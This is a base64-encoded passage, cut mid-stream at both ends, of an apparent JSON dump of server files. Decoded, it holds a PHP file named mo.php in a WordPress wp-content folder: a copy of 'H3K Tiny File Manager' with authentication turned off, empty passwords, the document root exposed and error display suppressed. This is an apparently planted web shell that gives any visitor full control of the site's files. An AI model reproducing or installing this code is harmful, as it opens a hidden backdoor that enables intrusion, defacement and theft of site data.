2VuJ11bJ25vdCBmb3VuZCEnXSAgICAgICAgID0gJ25vdCBmb3VuZCEnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5J10gICAgPSAnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUnXSAgICAgICAgICAgID0gJ0FyY2hpdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Blcm1pc3Npb25zIG5vdCBjaGFuZ2VkJ10gICAgPSAnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdCBmb2xkZXInXSAgICAgID0gJ1NlbGVjdCBmb2xkZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NvdXJjZSBwYXRoIG5vdCBkZWZpbmVkJ10gICAgPSAnU291cmNlIHBhdGggbm90IGRlZmluZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ2FscmVhZHkgZXhpc3RzJ10gICAgID0gJ2FscmVhZHkgZXhpc3RzJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSddICAgID0gJ0Vycm9yIHdoaWxlIG1vdmluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGUgYXJjaGl2ZT8nXSAgICA9ICdDcmVhdGUgYXJjaGl2ZT8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSddICAgID0gJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnQXJjaGl2ZSB1bnBhY2tlZCddICAgPSAnQXJjaGl2ZSB1bnBhY2tlZCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnXSAgPSAnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Jvb3QgcGF0aCddICAgICAgICAgID0gJ1Jvb3QgcGF0aCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgcmVuYW1pbmcgZnJvbSddICA9ICdFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG5vdCBmb3VuZCddICAgICA9ICdGaWxlIG5vdCBmb3VuZCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgZGVsZXRpbmcgaXRlbXMnXSA9ICdFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZWQgZnJvbSddICAgICAgICAgPSAnTW92ZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnXSA9ICdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJ10gPSAnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJztcbiAgICAgICAgJHRyWydlbiddWydwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nXSA9ICdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FkdmFuY2VkIFNlYXJjaCddICAgID0gJ0FkdmFuY2VkIFNlYXJjaCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJ10gICAgPSAnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJ10gICAgICAgICAgICAgICAgPSAnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnRklMRSBFWFRFTlNJT04gSVMgTk9UIFNVUFBPUlRFRCddICAgICAgICAgICAgICAgID0gJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXIgZGVsZXRlZCddICAgICAgICAgICAgICA9ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0Vycm9yIHdoaWxlIGZldGNoaW5nIGFyY2hpdmUgaW5mbyddICAgICAgICAgICAgICA9ICdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8nXSAgICAgICAgICAgICA9ICdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/JztcbiAgICAgICAgJHRyWydlbiddWydTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nXSAgICAgICAgPSAnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJztcbiAgICAgICAgJHRyWydlbiddWydBY2Nlc3MgZGVuaWVkLiBJUCByZXN0cmljdGlvbiBhcHBsaWNhYmxlJ10gICAgICAgPSAnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZSc7XG4gICAgICAgICR0clsnZW4nXVsnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgb3IgZm9sZGVyIG5hbWUnXSAgICAgID0gJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJztcbiAgICAgICAgJHRyWydlbiddWydPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUnXSAgICAgPSAnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cyddICAgPSAnRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nXSAgICAgICAgICAgICAgICAgICA9ICdBcmUgeW91IHN1cmUgd2FudCB0byByZW5hbWU/JztcbiAgICAgICAgJHRyWydlbiddWydBcmUgeW91IHN1cmUgd2FudCB0byddICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnQXJlIHlvdSBzdXJlIHdhbnQgdG8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RhdGUgTW9kaWZpZWQnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICdEYXRlIE1vZGlmaWVkJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIHNpemUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnRmlsZSBzaXplJztcbiAgICAgICAgJHRyWydlbiddWydNSU1FLXR5cGUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnTUlNRS10eXBlJztcblxuICAgICAgICAkaTE4biA9IGZtX2dldF90cmFuc2xhdGlvbnMoJHRyKTtcbiAgICAgICAgJHRyID0gJGkxOG4gPyAkaTE4biA6ICR0cjtcblxuICAgICAgICBpZiAoIXN0cmxlbigkbGFuZykpICRsYW5nID0gJ2VuJztcbiAgICAgICAgaWYgKGlzc2V0KCR0clskbGFuZ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clskbGFuZ11bJHR4dF0pO1xuICAgICAgICBlbHNlIGlmIChpc3NldCgkdHJbJ2VuJ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clsnZW4nXVskdHh0XSk7XG4gICAgICAgIGVsc2UgcmV0dXJuIFwiJHR4dFwiO1xuICAgIH1cblxuPz4ifSx7InBhdGgiOiJcL2hvbWVcL2xham1peHhcL2FwcHNcL2xham1peHhcL3dwLWNvbnRlbnRcL21vLnBocCIsImNvbnRlbnQiOiI8P3BocFxuJENPTkZJRyA9ICd7XCJsYW5nXCI6XCJlblwiLFwiZXJyb3JfcmVwb3J0aW5nXCI6ZmFsc2UsXCJzaG93X2hpZGRlblwiOnRydWUsXCJoaWRlX0NvbHNcIjpmYWxzZSxcInRoZW1lXCI6XCJkYXJrXCJ9JztcblxuXC8qKlxuICogSDNLIH4gVGlueSBGaWxlIE1hbmFnZXIgVjIuNlxuICogQGF1dGhvciBDQ1AgUHJvZ3JhbW1lcnNcbiAqIEBnaXRodWIgaHR0cHM6XC9cL2dpdGh1Yi5jb21cL3ByYXNhdGhtYW5pXC90aW55ZmlsZW1hbmFnZXJcbiAqIEBsaW5rIGh0dHBzOlwvXC90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvXG4gKlwvXG5cbmRlZmluZSgnVkVSU0lPTicsICcyLjYnKTtcblxuZGVmaW5lKCdBUFBfVElUTEUnLCAnVGlueSBGaWxlIE1hbmFnZXInKTtcblxuJHVzZV9hdXRoID0gZmFsc2U7XG5cbiRhdXRoX3VzZXJzID0gYXJyYXkoXG4gICAgJ2FkbWluJyA9PiAnJyxcbiAgICAndXNlcicgPT4gJydcbik7XG5cbiRyZWFkb25seV91c2VycyA9IGFycmF5KFxuICAgICd1c2VyJ1xuKTtcblxuJGdsb2JhbF9yZWFkb25seSA9IGZhbHNlO1xuXG4kZGlyZWN0b3JpZXNfdXNlcnMgPSBhcnJheSgpO1xuXG4kdXNlX2hpZ2hsaWdodGpzID0gdHJ1ZTtcbiRoaWdobGlnaHRqc19zdHlsZSA9ICd2cyc7XG4kZWRpdF9maWxlcyA9IHRydWU7XG4kZGVmYXVsdF90aW1lem9uZSA9ICdFdGNcL1VUQyc7XG5cblxuJHJvb3RfcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107XG4kcm9vdF91cmwgPSAnJztcbiRodHRwX2hvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107XG4kaWNvbnZfaW5wdXRfZW5jb2RpbmcgPSAnVVRGLTgnO1xuJGRhdGV0aW1lX2Zvcm1hdCA9ICdtXC9kXC9ZIGc6aSBBJztcbiRwYXRoX2Rpc3BsYXlfbW9kZSA9ICdmdWxsJztcbiRhbGxvd2VkX2ZpbGVfZXh0ZW5zaW9ucyA9ICcnO1xuJGFsbG93ZWRfdXBsb2FkX2V4dGVuc2lvbnMgPSAnJztcbiRmYXZpY29uX3BhdGggPSAnJztcbiRleGNsdWRlX2l0ZW1zID0gYXJyYXkoKTtcbiRvbmxpbmVfdmlld2VyID0gJ2dvb2dsZSc7XG4kc3RpY2t5X25hdmJhciA9IHRydWU7XG4kbWF4X3VwbG9hZF9zaXplX2J5dGVzID0gNTAwMDAwMDAwMDtcbiR1cGxvYWRfY2h1bmtfc2l6ZV9ieXRlcyA9IDIwMDAwMDA7XG4kaXBfcnVsZXNldCA9ICdPRkYnO1xuJGlwX3NpbGVudCA9IHRydWU7XG4kaXBfd2hpdGVsaXN0ID0gYXJyYXkoXG4gICAgJzEyNy4wLjAuMScsXG4gICAgJzo6MSdcbik7XG5cbiRpcF9ibGFja2xpc3QgPSBhcnJheShcbiAgICAnMC4wLjAuMCcsXG4gICAgJzo6J1xuKTtcblxuJGNvbmZpZ19maWxlID0gX19ESVJfXyAuICdcL2NvbmZpZy5waHAnO1xuaWYgKGlzX3JlYWRhYmxlKCRjb25maWdfZmlsZSkpIHtcbiAgICBAaW5jbHVkZSgkY29uZmlnX2ZpbGUpO1xufVxuXG4kZXh0ZXJuYWwgPSBhcnJheShcbiAgICAnY3NzLWJvb3RzdHJhcCcgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuLmpzZGVsaXZyLm5ldFwvbnBtXC9ib290c3RyYXBANS4zLjNcL2Rpc3RcL2Nzc1wvYm9vdHN0cmFwLm1pbi5jc3NcIiByZWw9XCJzdHlsZXNoZWV0XCIgaW50ZWdyaXR5PVwic2hhMzg0LVFXVEtaeWpwUEVqSVN2NVdhUlU5T0ZlUnBvazZZY3RuWW1EcjVwTmx5VDJiUmpYaDBKTWhqWTZoVytBTEV3SUhcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPicsXG4gICAgJ2Nzcy1kcm9wem9uZScgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2Ryb3B6b25lXC81LjkuM1wvbWluXC9kcm9wem9uZS5taW4uY3NzXCIgcmVsPVwic3R5bGVzaGVldFwiPicsXG4gICAgJ2Nzcy1mb250LWF3ZXNvbWUnID0+ICc8bGluayByZWw9XCJzdHlsZXNoZWV0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvZm9udC1hd2Vzb21lXC80LjcuMFwvY3NzXC9mb250LWF3ZXNvbWUubWluLmNzc1wiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+JyxcbiAgICAnY3NzLWhpZ2hsaWdodGpzJyA9PiAnPGxpbmsgcmVsPVwic3R5bGVzaGVldFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2hpZ2hsaWdodC5qc1wvMTEuOS4wXC9zdHlsZXNcLycgLiAkaGlnaGxpZ2h0anNfc3R5bGUgLiAnLm1pbi5jc3NcIj4nLFxuICAgICdqcy1hY2UnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvYWNlXC8xLjMyLjJcL2FjZS5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1ib290c3RyYXAnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XC9ucG1cL2Jvb3RzdHJhcEA1LjMuM1wvZGlzdFwvanNcL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzXCIgaW50ZWdyaXR5PVwic2hhMzg0LVl2cGNyWWYwdFkzbEhCNjBOTmttWGM1czlmRFZaTEVTYUFBNTVORHpPeGh5OUdrY0lkc2xLMWVON042akllSHpcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1kcm9wem9uZScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9kcm9wem9uZVwvNS45LjNcL21pblwvZHJvcHpvbmUubWluLmpzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NvZGUuanF1ZXJ5LmNvbVwvanF1ZXJ5LTMuNi4xLm1pbi5qc1wiIGludGVncml0eT1cInNoYTI1Ni1vODhBd1FuWkIrVkR2RTl0dklYck1RYVBsRkZTVVRSK25sZFFtMUx1UFhRPVwiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeS1kYXRhdGFibGVzJyA9PiAnPHNjcmlwdCBzcmM9XCJodHRwczpcL1wvY2RuLmRhdGF0YWJsZXMubmV0XC8xLjEzLjFcL2pzXC9qcXVlcnkuZGF0YVRhYmxlcy5taW4uanNcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiIGRlZmVyPjxcL3NjcmlwdD4nLFxuICAgICdqcy1oaWdobGlnaHRqcycgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9oaWdobGlnaHQuanNcLzExLjkuMFwvaGlnaGxpZ2h0Lm1pbi5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdwcmUtanNkZWxpdnInID0+ICc8bGluayByZWw9XCJwcmVjb25uZWN0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XCIgY3Jvc3NvcmlnaW5cLz48bGluayByZWw9XCJkbnMtcHJlZmV0Y2hcIiBocmVmPVwiaHR0cHM6XC9cL2Nkbi5qc2RlbGl2ci5uZXRcIlwvPicsXG4gICAgJ3ByZS1jbG91ZGZsYXJlJyA9PiAnPGxpbmsgcmVsPVwicHJlY29ubmVjdFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIiBjcm9zc29yaWdpblwvPjxsaW5rIHJlbD1cImRucy1wcmVmZXRjaFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIlwvPidcbik7XG5cblxuZGVmaW5lKCdNQVhfVVBMT0FEX1NJWkUnLCAkbWF4X3VwbG9hZF9zaXplX2J5dGVzKTtcbmRlZmluZSgnVVBMT0FEX0NIVU5LX1NJWkUnLCAkdXBsb2FkX2NodW5rX3NpemVfYnl0ZXMpO1xuaWYgKCFkZWZpbmVkKCdGTV9TRVNTSU9OX0lEJykpIHtcbiAgICBkZWZpbmUoJ0ZNX1NFU1NJT05fSUQnLCAnZmlsZW1hbmFnZXInKTtcbn1cbiRjZmcgPSBuZXcgRk1fQ29uZmlnKCk7XG4kbGFuZyA9IGlzc2V0KCRjZmctPmRhdGFbJ2xhbmcnXSkgPyAkY2ZnLT5kYXRhWydsYW5nJ10gOiAnZW4nO1xuXG4kc2hvd19oaWRkZW5fZmlsZXMgPSBpc3NldCgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddKSA/ICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gOiB0cnVlO1xuJHJlcG9ydF9lcnJvcnMgPSBpc3NldCgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSkgPyAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA6IHRydWU7XG4kaGlkZV9Db2xzID0gaXNzZXQoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10pID8gJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gOiB0cnVlO1xuJHRoZW1lID0gaXNzZXQoJGNmZy0+ZGF0YVsndGhlbWUnXSkgPyAkY2ZnLT5kYXRhWyd0aGVtZSddIDogJ2xpZ2h0JztcblxuZGVmaW5lKCdGTV9USEVNRScsICR0aGVtZSk7XG5cbiRsYW5nX2xpc3QgPSBhcnJheShcbiAgICAnZW4nID0+ICdFbmdsaXNoJ1xuKTtcblxuaWYgKCRyZXBvcnRfZXJyb3JzID09IGZhbHNlKSB7XG4gICAgQGluaV9zZXQoJ2Vycm9yX3JlcG9ydGluZycsIDApO1xuICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApO1xufSBlbHNlIHtcbiAgICBAaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgMCk7XG4gICAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7XG59XG5cbmlmIChkZWZpbmVkKCdGTV9FTUJFRCcpKSB7XG4gICAgJHVzZV9hdXRoID0gZmFsc2U7XG4gICAgJHN0aWNreV9uYXZiYXIgPSBmYWxzZTtcbn0gZWxzZSB7XG4gICAgQHNldF90aW1lX2xpbWl0KDYwMCk7XG5cbiAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCRkZWZhdWx0X3RpbWV6b25lKTtcblxuICAgIGluaV9zZXQoJ2RlZmF1bHRfY2hhcnNldCcsICdVVEYtOCcpO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjYuMCcsICc8JykgJiYgZnVuY3Rpb25fZXhpc3RzKCdtYl9pbnRlcm5hbF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX2ludGVybmFsX2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9yZWdleF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX3JlZ2V4X2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cblxuICAgIHNlc3Npb25fY2FjaGVfbGltaXRlcignbm9jYWNoZScpO1xuICAgIHNlc3Npb25fbmFtZShGTV9TRVNTSU9OX0lEKTtcbiAgICBmdW5jdGlvbiBzZXNzaW9uX2Vycm9yX2hhbmRsaW5nX2Z1bmN0aW9uKCRjb2RlLCAkbXNnLCAkZmlsZSwgJGxpbmUpXG4gICAge1xuICAgICAgICBpZiAoJGNvZGUgPT0gMikge1xuICAgICAgICAgICAgc2Vzc2lvbl9hYm9ydCgpO1xuICAgICAgICAgICAgc2Vzc2lvbl9pZChzZXNzaW9uX2NyZWF0ZV9pZCgpKTtcbiAgICAgICAgICAgIEBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgc2V0X2Vycm9yX2hhbmRsZXIoJ3Nlc3Npb25fZXJyb3JfaGFuZGxpbmdfZnVuY3Rpb24nKTtcbiAgICBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgcmVzdG9yZV9lcnJvcl9oYW5kbGVyKCk7XG59XG5cbmlmIChlbXB0eSgkX1NFU1NJT05bJ3Rva2VuJ10pKSB7XG4gICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncmFuZG9tX2J5dGVzJykpIHtcbiAgICAgICAgJF9TRVNTSU9OWyd0b2tlbiddID0gYmluMmhleChyYW5kb21fYnl0ZXMoMzIpKTtcbiAgICB9IGVsc2Uge1xuICAgICAgICAkX1NFU1NJT05bJ3Rva2VuJ10gPSBiaW4yaGV4KG9wZW5zc2xfcmFuZG9tX3BzZXVkb19ieXRlcygzMikpO1xuICAgIH1cbn1cblxuaWYgKGVtcHR5KCRhdXRoX3VzZXJzKSkge1xuICAgICR1c2VfYXV0aCA9IGZhbHNlO1xufVxuXG4kaXNfaHR0cHMgPSBpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgKHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBTJ10pID09ICdvbicgfHwgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gMSlcbiAgICB8fCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09ICdodHRwcyc7XG5cbmlmIChpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSAmJiAhZW1wdHkoJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgICR3ZCA9IGZtX2NsZWFuX3BhdGgoZGlybmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpO1xuICAgICRyb290X3VybCA9ICAkcm9vdF91cmwgLiAkd2QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dO1xufVxuJHJvb3RfdXJsID0gZm1fY2xlYW5fcGF0aCgkcm9vdF91cmwpO1xuXG5kZWZpbmVkKCdGTV9ST09UX1VSTCcpIHx8IGRlZmluZSgnRk1fUk9PVF9VUkwnLCAoJGlzX2h0dHBzID8gJ2h0dHBzJyA6ICdodHRwJykgLiAnOlwvXC8nIC4gJGh0dHBfaG9zdCAuICghZW1wdHkoJHJvb3RfdXJsKSA/ICdcLycgLiAkcm9vdF91cmwgOiAnJykpO1xuZGVmaW5lZCgnRk1fU0VMRl9VUkwnKSB8fCBkZWZpbmUoJ0ZNX1NFTEZfVVJMJywgKCRpc19odHRwcyA/ICdodHRwcycgOiAnaHR0cCcpIC4gJzpcL1wvJyAuICRodHRwX2hvc3QgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSk7XG5cbmlmIChpc3NldCgkX0dFVFsnbG9nb3V0J10pKSB7XG4gICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgdW5zZXQoJF9TRVNTSU9OWyd0b2tlbiddKTtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCk7XG59XG5cbmlmICgkaXBfcnVsZXNldCAhPSAnT0ZGJykge1xuICAgIGZ1bmN0aW9uIGdldENsaWVudElQKClcbiAgICB7XG4gICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX0NGX0NPTk5FQ1RJTkdfSVBcIl07XG4gICAgICAgIH0gZWxzZSBpZiAoYXJyYXlfa2V5X2V4aXN0cygnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX1hfRk9SV0FSREVEX0ZPUlwiXTtcbiAgICAgICAgfSBlbHNlIGlmIChhcnJheV9rZXlfZXhpc3RzKCdSRU1PVEVfQUREUicsICRfU0VSVkVSKSkge1xuICAgICAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRU1PVEVfQUREUiddO1xuICAgICAgICB9IGVsc2UgaWYgKGFycmF5X2tleV9leGlzdHMoJ0hUVFBfQ0xJRU5UX0lQJywgJF9TRVJWRVIpKSB7XG4gICAgICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ107XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cblxuICAgICRjbGllbnRJcCA9IGdldENsaWVudElQKCk7XG4gICAgJHByb2NlZWQgPSBmYWxzZTtcbiAgICAkd2hpdGVsaXN0ZWQgPSBpbl9hcnJheSgkY2xpZW50SXAsICRpcF93aGl0ZWxpc3QpO1xuICAgICRibGFja2xpc3RlZCA9IGluX2FycmF5KCRjbGllbnRJcCwgJGlwX2JsYWNrbGlzdCk7XG5cbiAgICBpZiAoJGlwX3J1bGVzZXQgPT0gJ0FORCcpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlICYmICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfSBlbHNlXG4gICAgaWYgKCRpcF9ydWxlc2V0ID09ICdPUicpIHtcbiAgICAgICAgaWYgKCR3aGl0ZWxpc3RlZCA9PSB0cnVlIHx8ICRibGFja2xpc3RlZCA9PSBmYWxzZSkge1xuICAgICAgICAgICAgJHByb2NlZWQgPSB0cnVlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRwcm9jZWVkID09IGZhbHNlKSB7XG4gICAgICAgIHRyaWdnZXJfZXJyb3IoJ1VzZXIgY29ubmVjdGlvbiBkZW5pZWQgZnJvbTogJyAuICRjbGllbnRJcCwgRV9VU0VSX1dBUk5JTkcpO1xuXG4gICAgICAgIGlmICgkaXBfc2lsZW50ID09IGZhbHNlKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4gICAgICAgICAgICBmbV9zaG93X21lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgICAgICBleGl0KCk7XG4gICAgfVxufVxuXG5pZiAoJHVzZV9hdXRoKSB7XG4gICAgaWYgKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ2ZtX3VzciddLCAkX1BPU1RbJ2ZtX3B3ZCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIHNsZWVwKDEpO1xuICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzd29yZF92ZXJpZnknKSkge1xuICAgICAgICAgICAgaWYgKGlzc2V0KCRhdXRoX3VzZXJzWyRfUE9TVFsnZm1fdXNyJ11dKSAmJiBpc3NldCgkX1BPU1RbJ2ZtX3B3ZCddKSAmJiBwYXNzd29yZF92ZXJpZnkoJF9QT1NUWydmbV9wd2QnXSwgJGF1dGhfdXNlcnNbJF9QT1NUWydmbV91c3InXV0pICYmIHZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4n